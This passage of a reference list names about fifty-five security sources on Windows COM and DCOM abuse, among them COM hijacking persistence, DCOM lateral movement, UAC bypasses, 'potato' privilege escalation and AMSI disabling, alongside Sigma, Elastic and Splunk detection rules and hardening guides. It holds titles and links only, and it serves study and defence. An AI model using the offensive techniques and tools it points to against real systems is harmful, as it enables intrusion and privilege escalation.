[14] CAR-2019-04-003 (Squiblydoo) — MITRE Cyber Analytics Repository — https://car.mitre.org/analytics/CAR-2019-04-003/
[15] Sigma — Generic Signature Format for SIEM Systems (rule repository) — SigmaHQ — https://github.com/SigmaHQ/sigma
[16] Sigma: registry_set_persistence_com_hijacking_builtin.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_builtin.yml
[17] Sigma: registry_set_persistence_com_key_linking.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
[18] Sigma: registry_set_treatas_persistence.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
[19] Elastic Prebuilt Rule: persistence_suspicious_com_hijack_registry.toml — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
[20] How to Hunt: Detecting Persistence and Evasion with COM — Elastic — https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
[21] Remote Process Instantiation via DCOM and PowerShell — Splunk Threat Research — https://research.splunk.com/endpoint/d4f42098-4680-11ec-ad07-3e22fbd008af/
[22] Remote Process Instantiation via DCOM and PowerShell Script Block — Splunk Threat Research — https://research.splunk.com/endpoint/fa1c3040-4680-11ec-a618-3e22fbd008af/
[23] Mmc LOLBAS Execution Process Spawn — Splunk Threat Research — https://research.splunk.com/endpoint/f6601940-4c74-11ec-b9b7-3e22fbd008af/
[24] Possible Lateral Movement PowerShell Spawn — Splunk Threat Research — https://research.splunk.com/endpoint/22282a2d-dc19-4b88-ac61-6c86ff92904f/
[25] FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/
[26] WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/
[27] .NET Profiler UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/
[28] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/
[29] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/
[30] Eventvwr UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
[31] Hijacked and Hidden: New Backdoor and Persistence Technique (TypeLib hijack, Black Basta affiliate) — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
[32] Hunting COM Objects (two parts) — FireEye (2019) — https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
[33] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
[34] COM Object Hijacking: The Discreet Way of Persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
[35] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques for Evasion and Persistence — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
[36] COM Objects Hijacking (LiveHunt YARA) — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
[37] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Google Project Zero (2025) — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html
[38] Fileless Lateral Movement with Trapped COM Objects (ForsHops) — IBM X-Force (2025) — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
[39] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force (2025) — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
[40] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol (RemotePotato0) — SentinelOne (2021) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
[41] Bypass Application Whitelisting Script Protection (Squiblydoo) — Casey Smith / subTee (2016) — https://subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html
[42] DotNetToJScript — James Forshaw (2017) — https://github.com/tyranid/DotNetToJScript
[43] Disabling AMSI in JScript with One Simple Trick — James Forshaw (2018) — https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
[44] Antimalware Scan Interface (AMSI) — Red Canary — https://redcanary.com/blog/amsi/
[45] Atomic Red Team (T1021.003 / T1546.015 / T1548.002) — Red Canary — https://github.com/redcanaryco/atomic-red-team
[46] sysmon-config — SwiftOnSecurity — https://github.com/SwiftOnSecurity/sysmon-config
[47] sysmon-modular — Olaf Hartong — https://github.com/olafhartong/sysmon-modular
[48] MITRE ATT&CK: T1021.003, T1559.001, T1546.015, T1548.002, T1218.010 — MITRE — https://attack.mitre.org/techniques/T1021/003/
[49] UACME — Defeating Windows User Account Control — hfiref0x — https://github.com/hfiref0x/UACME
[50] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
[51] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne (2023) — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/
[52] No More JuicyPotato? Old Story, Welcome RoguePotato! — decoder & splinter_code (2020) — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
[53] PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 — itm4n (2020) — https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
[54] Giving JuicyPotato a Second Chance: JuicyPotatoNG — decoder & splinter_code (2022) — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
[55] OleViewDotNet — James Forshaw — https://github.com/tyranid/oleviewdotnet
[56] Accelerating Offensive Research with LLMs (alternative trapped-COM classes) — Outflank (2025) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
[57] KnowYourAdversary #111: Black Basta TypeLib Hunting — KnowYourAdversary (2025) — https://www.knowyouradversary.ru/2025/04/
[58] Automating COM/DCOM Vulnerability Research — incendium.rocks — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
[59] DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape — hack.lu (2025) — https://d3lb3.github.io/assets/hacklu_2025.pdf
[60] Hardening Microsoft Windows 10/11 Workstations — Australian Cyber Security Centre — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf
[61] Lateral Movement via DCOM Round 2 (ShellWindows / ShellBrowserWindow) — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
[62] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques
[63] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
[64] LocalPotato: When Swapping the Context Leads You to SYSTEM — decoder & splinter_code (2023) — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/
[65] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[66] Weaponizing Privileged File Writes with the USO Service (Parts 1–2) — itm4n (2019) — https://itm4n.github.io/usodllloader-part1/
[67] Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege (DiagHub) — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
[68] COM Hijacking from a Defender's Perspective — HexaStrike — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/